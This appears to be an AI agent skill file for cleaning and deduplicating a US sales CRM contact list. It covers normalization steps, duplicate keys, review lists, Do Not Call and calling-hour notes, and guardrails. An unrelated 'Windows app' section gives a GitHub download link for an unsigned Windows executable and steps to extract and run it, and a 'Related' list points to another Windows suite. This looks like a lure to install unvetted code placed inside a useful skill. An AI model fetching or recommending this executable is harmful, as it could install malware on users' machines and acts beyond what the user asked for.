CRM Hygiene Cleanup

Cleans a US sales contact list by normalizing names, phones and emails, deduplicating records, and separating what needs a human check. Use when the user asks for crm cleanup, sales list deduplication, crm data hygiene. For US sales operations and RevOps staff cleaning CRM data before a campaign or an import.

Cleans a US sales contact list by normalizing names, phones and emails, deduplicating records, and separating what needs a human check. Written for US sales operations and RevOps staff cleaning CRM data before a campaign or an import.

Use this skill when someone asks for:

• crm cleanup
• sales list deduplication
• crm data hygiene
• lead list cleanup us

---

The job

Duplicate contacts, role inboxes and wrong phone numbers inflate the pipeline, and every campaign sends to the wrong person twice.

What you get

1. Normalize the fields: trim values, lowercase email domains and put phone numbers in ten-digit form.
2. Deduplicate on the strongest key the file actually has, and keep the most complete record.
3. Send records that fail validation to a human-check list with the reason attached.
4. Report what changed so the ops team sees the size of the cleanup before the next import.

Output contract:

• cleaned_rows - normalized, deduplicated records ready to import
• duplicates - the groups collapsed and the record that was kept
• needs_review - records with a failed phone, a role inbox or a missing state
• change_log - counts of normalized, merged and flagged records

US specifics that matter

• North American numbers use ten digits in the NANP format: area code, exchange and line number, with the country code +1.
• Landline area codes are geographic in the US, so 212 is Manhattan and 312 is Chicago; mobile numbers can move, so a mismatch is a flag and not a fact.
• The National Do Not Call Registry at 16 CFR 310 covers calls, not email, and requires telemarketing calls to stop for listed numbers.
• The FTC's telemarketing rules limit calls to 8 AM to 9 PM in the recipient's local time.
• State privacy laws set retention rules for personal data, so a CRM needs a documented deletion path.

Guardrails (hard rules)

• Never scrape personal emails to fill a gap in a record.
• Never merge two contacts that only share a role address such as info@ without a human check.
• Never delete a record silently; send it to the needs-review list with the reason.
• Never buy or import a list that has no consent record behind it.

Quickstart

1. Fill in the brief

templates/crm-cleanup.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/crm-hygiene-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Normalizing US contact fields

• Email: trim spaces, lowercase the domain and remove display-name brackets.
• Phone: keep the ten digits and move any extension into its own field.
• State: use the two-letter USPS code, for example CA, TX or OH.
• Name: split first and last, and keep a suffix out of the last-name field.

Keys that identify a duplicate

• The email address is the strongest key when it belongs to a person.
• Domain plus name catches one person listed on two records.
• The phone number catches the same record imported from two systems.
• A job title change should not create a second record.

What stays out

• No bought lists, no scraped personal emails and no guessed email patterns.
• Keep a merge log so a wrong merge can be reversed.
• Keep the consent date, because state privacy laws depend on it.
• Flag a role inbox when it is the only address you have, since many buyers never read it.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip
File	ModelBox-Windows-x64.zip (9.6 MB)
SHA-256	ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff
Inside the archive	ModelBox-Windows-x64.exe

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

Files in this bundle

• SKILL.md - this file
• references/crm-hygiene-rules.md - US contact data rules for a clean CRM
• templates/crm-cleanup.csv - the brief to fill in
• scripts/clean_crm_rows.py - the working script

Verify the bundle

bash

python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.